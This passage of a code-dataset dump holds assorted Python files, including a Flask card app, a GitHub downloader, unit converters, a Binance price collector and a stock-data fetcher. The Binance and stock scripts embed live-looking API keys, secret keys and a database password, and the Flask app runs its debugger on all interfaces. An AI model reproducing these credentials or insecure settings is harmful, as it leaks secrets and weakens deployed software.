)\n","repo_name":"eorozco-c/sisrg","sub_path":"apps/clientes/formularios.py","file_name":"formularios.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74560028325","text":"from flask import Flask, render_template, jsonify, request\nfrom model import db, connect_to_db, Card\nimport time\n\napp = Flask(__name__) \n\n@app.route(\"/\")\ndef show_homepage():\n \"\"\"Show the application's homepage.\"\"\"\n\n return render_template(\"homepage.html\")\n\n@app.route(\"/cards\")\ndef show_cards():\n \"\"\"Show all trading cards.\"\"\"\n\n return render_template(\"cards.html\")\n\n# usually prefix with api, these are api routes \n# for communicating between the frontend and the backend\n# they're returning json (js object containing data you're asking for) not html \n # it's a js object; can think of it like dictionary\n # has an array of things in it\n # data is within the cards key\n# this route is created because you need to be able to ask for data from the url\n@app.route(\"/cards.json\")\ndef get_cards_json():\n \"\"\"Return a JSON response with all cards in DB.\"\"\"\n\n cards = Card.query.all()\n cards_list = []\n\n for c in cards:\n cards_list.append({\"skill\": c.skill, \"name\": c.name, \"imgUrl\": c.image_url})\n # use sleep to see how it loads\n time.sleep(2)\n\n return jsonify({\"cards\": cards_list}) \n # jsonify turns ^ into [{'cards': cards_list}]\n # jsonify is something that Flask gives you\n # converts python dictionary or list to valid json object\n # cards_list is a python list that contains dictionaries\n\n@app.route(\"/add-card\", methods=[\"POST\"])\ndef add_card():\n \"\"\"Add a new card to the DB.\"\"\"\n\n name = request.form.get('name')\n skill = request.form.get('skill')\n\n new_card = Card(name=name, skill=skill)\n db.session.add(new_card)\n db.session.commit()\n\n return jsonify({\"success\": True})\n\n@app.route(\"/cards-jquery\")\ndef show_cards_jquery():\n return render_template(\"cards-jquery.html\")\n\n\n\nif __name__ == \"__main__\":\n connect_to_db(app)\n app.run(debug=True, host='0.0.0.0')","repo_name":"kschlough/trading-cards-2","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32511376346","text":"import logging\nimport re\nimport shutil\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Optional, Union\nfrom urllib.parse import unquote, urlparse, urlunparse\n\nimport requests\n\nfrom DownloaderLock import DownloaderLock\nfrom Paths import DOWNLOADS_TEMP_PATH\n\n\nclass DownloadError(RuntimeError):\n def __init__(self, filename: str, orig_error: requests.exceptions.RequestException):\n super().__init__(f\"Error while downloading `{filename}`: {orig_error}\")\n\n\nclass DownloaderInitError(RuntimeError):\n def __init__(self, message: str, table_name: str):\n super().__init__(f\"{message} in table array `{table_name}`\")\n\n\ndef _github_api_request(url: str, token: Optional[str]) -> Optional[Dict[str, Any]]:\n if token is not None:\n headers = {\n \"Accept\": \"application/vnd.github+json\",\n \"Authorization\": f\"Bearer {token}\",\n \"X-GitHub-Api-Version\": \"2022-11-28\",\n }\n else:\n headers = None\n\n response = requests.get(url=url, headers=headers, timeout=5)\n\n if response.status_code != 200:\n print(f\"GitHub API Request failed. Status code: {response.status_code}\")\n return None\n\n return response.json()\n\n\ndef _get_latest_release(repo: str, token: Optional[str]) -> Optional[Dict[str, Any]]:\n url = f\"https://api.github.com/repos/{repo}/releases/latest\"\n return _github_api_request(url, token)\n\n\ndef _get_default_branch(repo: str, token: Optional[str]) -> Optional[str]:\n url = f\"https://api.github.com/repos/{repo}\"\n response = _github_api_request(url, token)\n return response.get(\"default_branch\") if response is not None else None\n\n\ndef _download_file_to(target_path: Path, url: str) -> Optional[Path]:\n filename = _get_file_name_from_url(url)\n\n try:\n response = requests.get(url, timeout=10, headers={\"cache-control\": \"no-cache\"})\n except requests.exceptions.RequestException as err:\n raise DownloadError(filename, err) from None\n\n if response.status_code != 200:\n print(f\"Failed to download `{filename}`. Status code: {response.status_code}\")\n return None\n\n target_path.mkdir(parents=True, exist_ok=True)\n\n file_path = target_path / filename\n with open(file_path, \"wb\") as file:\n file.write(response.content)\n return file_path\n\n\ndef _get_file_name_from_url(url: str) -> str:\n parsed_url = urlparse(unquote(url))\n path_url = urlunparse(\n (\n parsed_url.scheme,\n parsed_url.netloc,\n parsed_url.path,\n \"\",\n \"\",\n \"\",\n )\n )\n return Path(path_url).name\n\n\n@dataclass(frozen=True)\nclass GithubFile:\n _repo: str\n _file: str\n\n def download(\n self,\n token: Optional[str],\n ) -> Optional[Path]:\n print(f\"\\t{self._repo}: {Path(self._file).name}\")\n\n default_branch = _get_default_branch(self._repo, token)\n\n if default_branch is None:\n print(f\"Unable to get default branch for `{self._repo}`\")\n return None\n\n url = f\"https://raw.githubusercontent.com/{self._repo}/{default_branch}/{self._file}\"\n downloaded_file_path = _download_file_to(DOWNLOADS_TEMP_PATH, url)\n\n if downloaded_file_path is not None:\n logging.info(\"File downloaded to `%s`\", downloaded_file_path)\n\n return downloaded_file_path\n\n\n@dataclass(frozen=True)\nclass GithubAsset:\n _repo: str\n _asset_name: Optional[str]\n _asset_regex: Optional[str]\n\n def _get_asset(self, assets: Any) -> Optional[Any]:\n for asset in assets:\n asset_name: str = asset[\"name\"]\n\n if self._asset_name is not None:\n if asset_name == self._asset_name:\n return asset\n elif self._asset_regex is not None:\n if re.search(self._asset_regex, asset_name) is not None:\n return asset\n\n return None\n\n def _get_cached_lock(\n self, lock_list: List[DownloaderLock]\n ) -> Optional[DownloaderLock]:\n for lock in lock_list:\n if lock.repo == self._repo:\n if self._asset_name is not None:\n if lock.asset_name == self._asset_name:\n return lock\n elif self._asset_regex is not None:\n if re.search(self._asset_regex, lock.asset_name) is not None:\n return lock\n return None\n\n def download(\n self,\n lock_list: List[DownloaderLock],\n token: Optional[str],\n ) -> Optional[Path]:\n latest_release = _get_latest_release(self._repo, token)\n\n if latest_release is None:\n print(f\"Unable to get latest release for `{self._repo}`\")\n return None\n\n asset = self._get_asset(latest_release[\"assets\"])\n\n if asset is None:\n print(f\"Unable to get matching asset for `{self._repo}`\")\n return None\n\n asset_name = asset[\"name\"]\n current_lock = DownloaderLock(\n self._repo,\n latest_release[\"tag_name\"],\n asset_name,\n asset[\"updated_at\"],\n )\n cached_lock = self._get_cached_lock(lock_list)\n\n if cached_lock is not None:\n cached_asset_path = cached_lock.cached_asset_path()\n\n if cached_lock == current_lock:\n print(f\"\\t{self._repo}: Already up to date\")\n return cached_asset_path\n\n shutil.rmtree(cached_asset_path.parent)\n logging.info(\"Removed `%s`\", cached_asset_path.parent)\n\n lock_list.remove(cached_lock)\n\n print(f\"\\t{self._repo}: {asset_name}\")\n\n url = asset[\"browser_download_url\"]\n\n downloaded_file_path = _download_file_to(\n current_lock.cached_asset_path().parent, url\n )\n\n if downloaded_file_path is not None:\n logging.info(\"File downloaded to `%s`\", downloaded_file_path)\n lock_list.append(current_lock)\n\n return downloaded_file_path\n\n\n@dataclass(frozen=True)\nclass RawUrl:\n _url: str\n\n def download(\n self,\n ) -> Optional[Path]:\n print(f\"\\t{_get_file_name_from_url(self._url)}\")\n\n downloaded_file_path = _download_file_to(DOWNLOADS_TEMP_PATH, self._url)\n\n if downloaded_file_path is not None:\n logging.info(\"File downloaded to `%s`\", downloaded_file_path)\n\n return downloaded_file_path\n\n\n@dataclass(frozen=True)\nclass Downloader:\n _downloader_type: Union[GithubFile, GithubAsset, RawUrl]\n\n def download(\n self,\n lock_list: List[DownloaderLock],\n token: Optional[str],\n ) -> Optional[Path]:\n if isinstance(self._downloader_type, GithubAsset):\n downloaded_file_path = self._downloader_type.download(lock_list, token)\n elif isinstance(self._downloader_type, GithubFile):\n downloaded_file_path = self._downloader_type.download(token)\n elif isinstance(self._downloader_type, RawUrl):\n downloaded_file_path = self._downloader_type.download()\n else:\n raise AssertionError(\"This branch should be unreachable.\")\n\n return downloaded_file_path\n\n\ndef createDownloader(\n repo: Optional[str],\n asset_name: Optional[str],\n asset_regex: Optional[str],\n file: Optional[str],\n url: Optional[str],\n) -> Downloader:\n if (repo is None) == (url is None):\n raise RuntimeError(\"Either `repo` or `url` must be provided\")\n\n if (repo is not None) and (\n (asset_name is None) == (asset_regex is None) == (file is None)\n ):\n raise RuntimeError(\n \"Either `asset_name`, `asset_regex` or `file` must be provided\"\n )\n\n if (url is not None) and (\n asset_name is not None or asset_regex is not None or file is not None\n ):\n raise RuntimeError(\"`url` must be provided alone\")\n\n if repo and (asset_name or asset_regex):\n return Downloader(GithubAsset(repo, asset_name, asset_regex))\n\n if repo and file:\n return Downloader(GithubFile(repo, file))\n\n if url:\n return Downloader(RawUrl(url))\n\n raise AssertionError(\"This branch should be unreachable.\")\n","repo_name":"lucasaf04/Switch-Updater","sub_path":"src/Downloader.py","file_name":"Downloader.py","file_ext":"py","file_size_in_byte":8211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22568977545","text":"# -*- coding: utf-8 -*-\n\nimport units.predefined\nfrom units import unit, named_unit, scaled_unit, si_prefixed_unit\nfrom units.quantity import Quantity\nfrom units.compatibility import compatible as strictly_compatible, within_epsilon\nfrom units.exception import IncompatibleUnitsError\n\ndef no_converter(_ignored):\n raise IncompatibleUnitsError(\"No known conversion between classes\")\n\nclass RelatedUnitConveter(object):\n RELATIONSHIPS = {}\n\n @staticmethod\n def get_converter(source_unit, target_unit):\n return RelatedUnitConveter.RELATIONSHIPS.get((source_unit.canonical(), target_unit.canonical()))\n\n def __init__(self, source_unit, target_unit, forward_converter=no_converter, backward_converter=no_converter):\n self.source_unit = source_unit\n self.target_unit = target_unit\n self.key = (source_unit.canonical(), target_unit.canonical())\n self.reverse_key = tuple(reversed(self.key))\n self.forward_converter = forward_converter or no_converter\n self.backward_converter = backward_converter or no_converter\n if self.key not in self.RELATIONSHIPS and forward_converter is not None:\n self.RELATIONSHIPS[self.key] = self\n if self.reverse_key not in self.RELATIONSHIPS and backward_converter is not None:\n self.invert() # Will auto-register\n\n def translate(self, source_quantity, target_unit=None):\n if not isinstance(source_quantity, Quantity):\n source_quantity = Quantity(source_quantity, self.source_unit)\n target_unit = target_unit or self.target_unit\n converter_source_quantity = strict_convert_to_unit(source_quantity, self.source_unit)\n converter_target_quantity = Quantity(self.forward_converter(converter_source_quantity), self.target_unit)\n target_quantity = strict_convert_to_unit(converter_target_quantity, target_unit)\n return target_quantity\n\n def invert(self):\n return RelatedUnitConveter(self.target_unit, self.source_unit, self.backward_converter, self.forward_converter)\n\ndef related_unit_converter(source_unit, target_unit, forward_converter=None, backward_converter=None):\n converter = RelatedUnitConveter.get_converter(source_unit, target_unit)\n if converter:\n return converter\n if forward_converter is None and backward_converter is None:\n return None\n return RelatedUnitConveter(source_unit, target_unit, forward_converter=forward_converter, backward_converter=no_converter)\n\nunits.predefined.define_units()\n\n\"\"\"Temperature units.\"\"\"\ncelcius = unit(u'°C') # Celsius\nferenheit = unit(u'°F') # Ferenheit\nrelated_unit_converter(ferenheit, celcius, lambda f: (f - 32) * 5.0 / 9.0, lambda c: (c * 9.0 / 5.0) + 32)\n\ndef compatible(unit1, unit2):\n if strictly_compatible(unit1, unit2):\n return True\n return related_unit_converter(unit1, unit2) is not None\n\ndef strict_convert_to_unit(quantity, target_unit):\n if not isinstance(quantity, Quantity):\n IncompatibleUnitsError(\"No units defined for conversion\")\n return target_unit(quantity / target_unit(1.0))\n\ndef convert_to_unit(quantity, target_unit):\n if not isinstance(quantity, Quantity):\n IncompatibleUnitsError(\"No units defined for conversion\")\n try:\n return strict_convert_to_unit(quantity, target_unit)\n except IncompatibleUnitsError as e:\n try:\n converter = related_unit_converter(quantity.unit, target_unit)\n if not converter:\n raise e\n return converter.translate(quantity, target_unit)\n except IncompatibleUnitsError:\n raise e\n","repo_name":"MSeal/inkworks","sub_path":"octoprint_inkworks/dataunits.py","file_name":"dataunits.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7423325376","text":"import os\nimport random\nfrom typing import NamedTuple\n\nfrom dotenv import load_dotenv\nfrom game_enums import Color\n\nif os.path.exists(os.path.join(os.path.dirname(__file__), '.env')):\n load_dotenv(os.path.join(os.path.dirname(__file__), '.env'))\n\n\nclass Config(NamedTuple):\n game_field_size: int\n count_players: int\n bot_name: str\n player_symbols: list[str]\n colors: list[Color]\n\n\ndef get_config() -> Config:\n color_values = os.environ.get(\"COLORS\", \"yellow,red\").split(\",\")\n game_colors = []\n for color in color_values:\n game_colors.append(Color(color))\n game_symbols = os.environ.get(\"PLAYER_SYMBOLS\", \"X,O\").split(\",\")\n random.shuffle(game_symbols)\n return Config(\n game_field_size=os.environ.get(\"GAME_FIELD_SIZE\", 3),\n count_players=os.environ.get(\"COUNT_PLAYERS\", 2),\n bot_name=os.environ.get(\"BOT_NAME\", \"Бот\"),\n player_symbols=game_symbols,\n colors=game_colors,\n )\n","repo_name":"abirukov/tic_tac_toe","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42171480900","text":"from django import template\n\nregister = template.Library()\n\n@register.filter(name=\"samplefunc\")\ndef sampleFunc(value):\n return value\n\n\n@register.filter(name=\"percen\")\ndef percen(value,args):\n ans = value\n su = ans.trust + ans.sadness + ans.disgust + ans.anticipation + ans.surprise + ans.joy + ans.fear + ans.anger\n \n if args==\"sadness\":\n return ans.sadness*100.0/su\n elif args==\"anger\":\n return ans.anger*100.0/su\n elif args==\"fear\":\n return ans.fear*100.0/su\n elif args==\"trust\":\n return ans.trust*100.0/su\n elif args==\"disgust\":\n return ans.disgust*100.0/su\n elif args==\"anticipation\":\n return ans.anticipation*100.0/su\n elif args==\"joy\":\n return ans.joy*100.0/su\n elif args==\"surprise\":\n return ans.surprise*100.0/su\n\n@register.filter(name=\"posinegi\")\ndef posinegi(value,args):\n ans = value\n su = ans.positive + ans.negative\n \n if args==\"up\":\n return ans.positive*100/su\n elif args==\"down\":\n return ans.negative*100/su\n","repo_name":"vishwerine/SentimentVis","sub_path":"sentimentvis/templatetags/temp_extras.py","file_name":"temp_extras.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23496279731","text":"import lightgbm as lgb\nimport os\nfrom sklearn.datasets import load_iris\nfrom lgbserver import LightGBMModel\nimport pandas as pd\nimport numpy\nfrom kserve.protocol.infer_type import InferInput, InferRequest\n\nmodel_dir = os.path.join(os.path.dirname(__file__), \"example_model\", \"model\")\nBST_FILE = \"model.bst\"\nNTHREAD = 1\n\n\ndef test_model():\n iris = load_iris()\n y = iris['target']\n X = pd.DataFrame(iris['data'], columns=iris['feature_names'])\n dtrain = lgb.Dataset(X, label=y)\n\n params = {\n 'objective': 'multiclass',\n 'metric': 'softmax',\n 'num_class': 3\n }\n lgb_model = lgb.train(params=params, train_set=dtrain)\n model_file = os.path.join(model_dir, BST_FILE)\n lgb_model.save_model(model_file)\n model = LightGBMModel(\"model\", model_dir, NTHREAD)\n model.load()\n\n request = {'sepal_width_(cm)': {0: 3.5}, 'petal_length_(cm)': {0: 1.4},\n 'petal_width_(cm)': {0: 0.2}, 'sepal_length_(cm)': {0: 5.1}}\n\n response = model.predict({\"inputs\": [request, request]})\n assert numpy.argmax(response[\"predictions\"][0]) == 2\n\n response = model.predict({\"instances\": [request, request]})\n assert numpy.argmax(response[\"predictions\"][0]) == 2\n # test v2 handler\n infer_input = InferInput(name=\"input-0\", shape=[2, 4], datatype=\"FP32\",\n data=[[6.8, 2.8, 4.8, 1.6], [6.0, 3.4, 4.5, 1.6]])\n infer_request = InferRequest(model_name=\"model\", infer_inputs=[infer_input])\n infer_response = model.predict(infer_request)\n assert infer_response.to_rest()[\"outputs\"] == \\\n [{'name': 'output-0', 'shape': [2, 3], 'datatype': 'FP64',\n 'data': [3.7899802486733807e-06, 0.9996982074114203, 0.00029800260833088297,\n 5.2172911836629736e-05, 0.99973341723876, 0.000214409849403366]}]\n","repo_name":"kserve/kserve","sub_path":"python/lgbserver/lgbserver/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":2598,"dataset":"github-code","pt":"52"} +{"seq_id":"27275086728","text":"import csv\r\nfrom modules.head import *\r\nfrom modules.DataPacket import DataPacket\r\n\r\ndef read_surveys(data_packet, admin_perms, courses):\r\n \"\"\" We are going to go through the list of DataPackets and translate it\r\n into something that can rendered into the templates\r\n \"\"\"\r\n renderable = [] # List to hold the information that can used by Jinja2\r\n data_list = data_packet.retrieve_data()\r\n course_list = []\r\n if courses:\r\n for course in courses:\r\n course_list.append(*course)\r\n\r\n for data in data_list:\r\n # Go through each data and translate it into just 3 strings that can\r\n # be stored in a list\r\n if not admin_perms:\r\n if data[1] in course_list:\r\n renderable.append([data[0], data[1], data[2], data[3]])\r\n else:\r\n renderable.append([data[0], data[1], data[2], data[3]])\r\n\r\n return renderable\r\n\r\ndef create_survey(data_packet, survey_id, course, question_list, state):\r\n \"\"\" We are going to get the raw data and convert it into a DataPacket\r\n object which we will return\r\n \"\"\"\r\n questions = ','.join(str(x) for x in question_list)\r\n data_packet.add_data([survey_id, course, questions, state])\r\n\r\n return data_packet\r\n\r\ndef get_course_list():\r\n information = []\r\n with open(\"storage/courses.csv\", \"r\") as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n for row in csvreader:\r\n row_str = row[0] + ' ' + row[1]\r\n information.append(row_str)\r\n return information\r\n\r\ndef add_course(course):\r\n with open(\"storage/courses.csv\", \"a\") as csvfile:\r\n csvwriter = csv.writer(csvfile)\r\n csvwriter.write(course)\r\n","repo_name":"Jackson-Luu/Survey-Website-System","sub_path":"modules/SurveyManager.py","file_name":"SurveyManager.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31160891440","text":"import mysql.connector\nimport requests\nimport json\n\n\n\n##########################################################################3\n## funciones\n#########################################################################3#\n\n############################\n# CONECTAR DB\ndef conectardb():\n mydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"Christian\",\n password=\"chinito2312\",\n database=\"binance\"\n )\n return mydb\n#############################\ndef getPrecio(Moneda):\n mydb=conectardb()\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT a.Precio FROM `ML_Localidades` a INNER JOIN ML_Partidos b ON a.IdPartido=b.Id where a.Id='\"+Localidad+\"'\")\n myresult = mycursor.fetchone()\n return(myresult)\n\n\n#############################\ndef insertarValores(valores):\n mydb=conectardb()\n mycursor = mydb.cursor()\n #sql = \"DELETE FROM `Recolector`.`Indicadores_BCRA` WHERE Metrica='\"+Metrica+\"'\"\n #mycursor.execute(sql)\n\n sql = \"INSERT INTO `binance`.`Precios` (fecha,Moneda,Precio) VALUES (%s,%s, %s)\"\n mycursor.executemany(sql, valores)\n mydb.commit()\n\n #print(mycursor.rowcount, \"was inserted.\")\n#############################\ndef insertarPromedios(valores):\n mydb=conectardb()\n mycursor = mydb.cursor()\n #sql = \"DELETE FROM `Recolector`.`Indicadores_BCRA` WHERE Metrica='\"+Metrica+\"'\"\n #mycursor.execute(sql)\n\n sql = \"INSERT INTO `binance`.`Promedios` (fecha,Moneda,Precio) VALUES (%s,%s, %s)\"\n mycursor.executemany(sql, valores)\n mydb.commit()\n\n #print(mycursor.rowcount, \"was inserted.\")\n\n#############################\ndef getUrl(url,head):\n r = requests.get(url,headers=head) \n valoresTemp = json.loads(r.text)\n print(\"Respuesta:\",valoresTemp)\n#############################\ndef getUrl2(url):\n r = requests.get(url) \n valoresTemp = json.loads(r.text)\n print(\"Respuesta:\",valoresTemp)\n############################################# \ndef UpdateValores(url):\n Hora=getHora()\n r = requests.get(url) \n Registros = json.loads(r.text)\n valores=[]\n valoresTemp=[]\n for Registro in Registros:\n\n valoresTemp=[Hora,Registro['symbol'],str(Registro['price'])]\n print(valoresTemp)\n valores.append(valoresTemp)\n insertarValores(valores)\n############################################# \ndef UpdateValor(url,Simbolos):\n valores=[]\n Hora=getHora()\n for Simbolo in Simbolos:\n \n r = requests.get(url+'?symbol='+Simbolo) \n Registro = json.loads(r.text)\n valoresTemp=[]\n valoresTemp=[Hora,Registro['symbol'],str(Registro['price'])]\n valores.append(valoresTemp)\n insertarValores(valores)\n print(valores) \n############################################# \ndef UpdatePromedio(url,Simbolos):\n valores=[]\n Hora=getHora()\n for Simbolo in Simbolos:\n \n r = requests.get(url+'?symbol='+Simbolo) \n Registro = json.loads(r.text)\n valoresTemp=[]\n valoresTemp=[Hora,Simbolo,str(Registro['price'])]\n valores.append(valoresTemp)\n insertarPromedios(valores)\n print(valores) \n############################################### \ndef getHora():\n r = requests.get(\"https://testnet.binanceops.com/vapi/v1/time\") \n valoresTemp = json.loads(r.text)\n #print(\"Respuesta:\",valoresTemp[\"data\"])\n return valoresTemp[\"data\"] \n###################################################3\n\n\n\n\n#TraerHora \n#getUrl(\"https://testnet.binanceops.com/vapi/v1/time\")\nHora=getHora()\nprint(Hora)\n\n#headers = {\"apikey\": \"22BjeOROKiXJ3NxbR3zjh3uoGcaflPu3VMyBXAg8Jj2J1xVSnY0eB4dzacdE9IWn\",\"secretKey\":\"YtP1BudNOWZE1ag5uzCkh4hIC7qSmQOu797r5EJBFGhxBYivjj8HIX0iiiPof5yG\"}\nheaders = {\"apikey\": \"ucGsCr6I9ehZn5i51MlOIXThWrM6bObvQ91nkpeiIaKMAgM8N7ZGPLbUXPbBdOuV\",\"secretKey\":\"kjTXifn9ny7kAthuWBuBnM6DOVLKTaHOxxldfWjLdK4dqMwrLLnQPh5ygmQ4y6m1\"}\n\nh2 = {\"prueba\": \"prueba\"}\n#getUrl(\"https://testnet.binanceops.com/vapi/v1/position?BTC-200730-9000-C&recvWindow=500000×tamp=\"+str(Hora),headers)\n#getUrl2(\"https://api.binance.com/api/v3/exchangeInfo?symbol=BNBBTC&symbol=BTCUSDT\")\n#getUrl2('https://api.binance.com/api/v3/exchangeInfo?symbols=[\"BNBBTC\",\"BTCUSDT\",\"ETHUSDT\"]')\n#getUrl2('https://api.binance.com/api/v3/exchangeInfo?symbols=[\"ETHUSDT\"]')\n\n#Precio Actual\n#getUrl2('https://api.binance.com/api/v3/ticker/price?symbol=ETHUSDT')\n#getUrl2('https://api.binance.com/api/v3/ticker/price?symbol=ETHEUR')\ni=1\nwhile i>0:\n #UpdateValores('https://api.binance.com/api/v3/ticker/price')\n\n Monedas=['BTCUSDT','ETHUSDT','ETHEUR']\n UpdateValor('https://api.binance.com/api/v3/ticker/price',Monedas)\n UpdatePromedio('https://api.binance.com/api/v3/avgPrice',Monedas)\n#getUrl2('https://api.binance.com/api/v3/ticker/bookTicker')\n\n\n\n\n#Precio Promedio\n#getUrl2('https://api.binance.com/api/v3/avgPrice?symbol=ETHUSDT')\n\n#curl -v -H \"apikey:22BjeOROKiXJ3NxbR3zjh3uoGcaflPu3VMyBXAg8Jj2J1xVSnY0eB4dzacdE9IWn\" -H \"secretKey:YtP1BudNOWZE1ag5uzCkh4hIC7qSmQOu797r5EJBFGhxBYivjj8HIX0iiiPof5yG\" -X GET 'https://testnet.binanceops.com/vapi/v1/position?BTC-200730-9000-C&recvWindow=500000×tamp=1633710030'\n ","repo_name":"christianmoraga/pruebaDocker","sub_path":"AnalizarDatos.py","file_name":"AnalizarDatos.py","file_ext":"py","file_size_in_byte":5123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3951280419","text":"import csv #imports the csv file\n\nfile = open('GUNS 2012 - Timeline1.csv') #change name of exported file each time, if needed\ncsv_file = csv.reader(file) #creates CSV object that's parsed\n\ntime_line = open(r'timeline_test_.txt', 'a') #opens a file and appends information inside\n\nnumber = 68\n\nfor row in csv_file:\n panel1 = \"\"\"\n \n
\n
\n

%s

\n \"%s\n \"\"\" % (row[0], str(number), str(number), row[1], row[0])\n time_line.write(panel1)\n if row[2] != \"None\":\n panel2 = \"\"\"\"%s\n \"\"\" % (str(number), str(number), row[2], row[0])\n time_line.write(panel2)\n panel3 = \"\"\"

%s

\n
%s
\n
\n
\n
\n \\n\n \"\"\" % (row[3], row[4])\n time_line.write(panel3)\n number += 1\n \nfile.close()\n\ntime_line.close()","repo_name":"matthewpleasant/timeline_test","sub_path":"test_timeline_code.py","file_name":"test_timeline_code.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1036361537","text":"import requests\nimport json \n\nclass Stock:\n baseUrl = \"https://finnhub.io/api/v1/stock/\"\n key = \"bq4ih7frh5rbnj6k5l1g\"\n \n edgarKey = '9f4d11d4c5101b97f88db2d4a2bdd7c8'\n edgarBaseUrl = 'https://datafied.api.edgar-online.com/v2' \n \n def __init__(self, ticker):\n self.ticker = ticker\n \n def GetInsiderFiling(self):\n # from edgar \n queryUrl = self.edgarBaseUrl + '/insiders/filers?'\n params = {'issuetickers' : self.ticker, 'appkey' : self.edgarKey}\n r = requests.get(queryUrl, params)\n print(r.url)\n return r\n \n def GetCurrentIssueHolders(self):\n # from edgar \n queryUrl = self.edgarBaseUrl + '/ownerships/currentissueholders?'\n params = {'limit' : 9999, 'tickers' : self.ticker, 'appkey' : self.edgarKey}\n r = requests.get(queryUrl, params)\n print(r.url)\n return r\n \n def GetCurrentIssueHoldersSince(self):\n # from edgar - NOT WORKING \n queryUrl = 'https://datafied.api.edgar-online.com/v2/ownerships/currentissueholders?modifiedsince eq \"12/30/2019\"&appkey={9f4d11d4c5101b97f88db2d4a2bdd7c8}'\n r = requests.get(queryUrl)\n print(r.url)\n return r\n \n def GetCurrentIssueHolders2(self):\n # from edgar - NOT WORKING \n # https://datafied.api.edgar-online.com/v2/ownerships/currentownerholdings?filter=ticker eq \"BAC\"&appkey={APPKEY}\n #queryUrl = self.edgarBaseUrl + 'ownerships/currentownerholdings?'\n #filter = 'ticker eq ' + '\"{}\"'.format(self.ticker)\n #params = {'filter' : filter, 'appkey' : self.edgarKey}\n queryUrl = 'https://datafied.api.edgar-online.com/v2/ownerships/currentownerholdings?filter=ticker eq \"BAC\"&appkey={9f4d11d4c5101b97f88db2d4a2bdd7c8}'\n r = requests.get(queryUrl)\n print(r.url)\n return r\n \n def GetInvestorOwnership(self):\n #queryUrl = self.baseUrl + 'investor-ownership?symbol={}&token={}'.format(self.ticker, self.key)\n #return requests.get(queryUrl)\n queryUrl = self.baseUrl + 'investor-ownership?'\n params = {'symbol' : self.ticker, 'token' : self.key}\n r = requests.get(queryUrl, params)\n print(r.url)\n return r\n \n def GetInvestorOwnershipYahoo(self):\n #queryUrl = self.baseUrl + 'investor-ownership?symbol={}&token={}'.format(self.ticker, self.key)\n #return requests.get(queryUrl)\n url = \"https://apidojo-yahoo-finance-v1.p.rapidapi.com/stock/v2/get-holders\"\n querystring = {\"symbol\":self.ticker}\n headers = {\n 'x-rapidapi-host': \"apidojo-yahoo-finance-v1.p.rapidapi.com\",\n 'x-rapidapi-key': \"e9b6a8fdf8msh9fbafd25ae17073p13647ejsnd27aee4ff878\"\n }\n response = requests.request(\"GET\", url, headers=headers, params=querystring)\n print(response.text)\n return response\n \n def GetFundOwnership(self):\n queryUrl = self.baseUrl + 'fund-ownership?symbol={}&token={}'.format(self.ticker, self.key)\n return requests.get(queryUrl)\n def GetData(self):\n ''' this gets the entire data for a given ticket'''\n ''' Still need to validate the data '''\n ''' https://eodhistoricaldata.com/knowledgebase/stock-etfs-fundamental-data-feeds/'''\n queryUrl = \"https://eodhistoricaldata.com/api/fundamentals/AAPL.US?api_token=OeAFFmMliFG5orCUuwAKQ8l4WWFQ67YX\"\n return requests.get(queryUrl)\n def GetMostActive(self):\n queryUrl = \"https://financialmodelingprep.com/api/v3/company/rating/ONTX\"\n return requests.get(queryUrl)\n def GetRealTimePrice(self):\n queryUrl = 'https://financialmodelingprep.com/api/v3/real-time-price/AAPL'\n return requests.get(queryUrl)\n def GetSymbolList(self):\n baseUrl = 'https://financialmodelingprep.com/'\n queryUrl = baseUrl + 'api/v3/company/stock/list'\n return requests.get(queryUrl)\n def GetHistoricalData(self):\n baseUrl = 'https://financialmodelingprep.com/'\n queryUrl = baseUrl + 'api/v3/historical-price-full/AAPL?timeseries=244'\n return requests.get(queryUrl)\n \n \nstock = Stock(\"MITT\")\nresult = stock.GetHistoricalData()\nif (result.status_code == 200):\n print(\"success\")\n with open(\"data.json\", \"w\") as f:\n json.dump(result.json(), f, indent=4);\nelse:\n print (\"failed\") \n#result2 = stock.GetCurrentIssueHolders2()\n# result = stock.GetData()\n#result = stock.GetMostActive()\n#with open(\"data2.json\", \"w\") as f:\n #json.dump(result2.json(), f, indent=4);\n","repo_name":"batukuri/temp","sub_path":"GetData.py","file_name":"GetData.py","file_ext":"py","file_size_in_byte":4539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16045894241","text":"import os\nimport torch\nimport numpy as np\nimport glob\nfrom torch_geometric.data import Data, InMemoryDataset\nfrom torch_geometric.utils import add_self_loops\nfrom utils import binvox_rw\n\n\nclass GraphDataset(InMemoryDataset):\n def __init__(self, root):\n super(GraphDataset, self).__init__(root)\n self.data, self.slices = torch.load(self.processed_paths[0])\n\n @property\n def raw_file_names(self):\n raw_v_filelist = glob.glob(os.path.join(self.root, '*_v.txt'))\n return raw_v_filelist\n\n @property\n def processed_file_names(self):\n return '{:s}_skeleton_data.pt'.format(self.root.split('/')[-1])\n\n def __len__(self):\n return len(self.raw_paths)\n\n def 